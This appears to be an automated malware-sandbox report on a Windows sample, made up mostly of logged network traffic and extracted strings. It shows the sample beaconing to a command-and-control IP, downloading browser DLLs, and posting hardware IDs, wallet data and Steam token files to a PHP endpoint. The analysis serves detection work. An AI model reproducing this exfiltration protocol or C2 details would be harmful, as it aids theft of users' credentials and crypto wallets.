Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file"------CGDBGCBGIDHCBGDHIEBF--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJECGHJDBFIJJJKEHCBHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="message"wallets------KJJECGHJDBFIJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHCHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="message"files------KECFCGHIDHCAKEBFCFHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file"------CGDBGCBGIDHCBGDHIEBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKECHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="message"ybncbhylepme------BKFCBFCBFBKEBFIDBKEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GCBGCGHDGIEGCBFIEGCB--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.37:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00574880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00574880

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 31 31 34 39 36 46 35 46 37 34 35 32 35 33 37 30 33 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="hwid"CE11496F5F74525370364------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="build"doma------CBAFIDAECBGCBFHJEBGD--

Source: file.exe, 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllZtLA
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllfw
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllzwl
Source: file.exe, 00000000.00000002.1950543917.0000000001333000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllC
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllFt
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll4
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%&
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3=U
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCoinomi
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE&
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpECGHJDBFIJJJKEHCB
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpmple-storage.json
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpq&
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
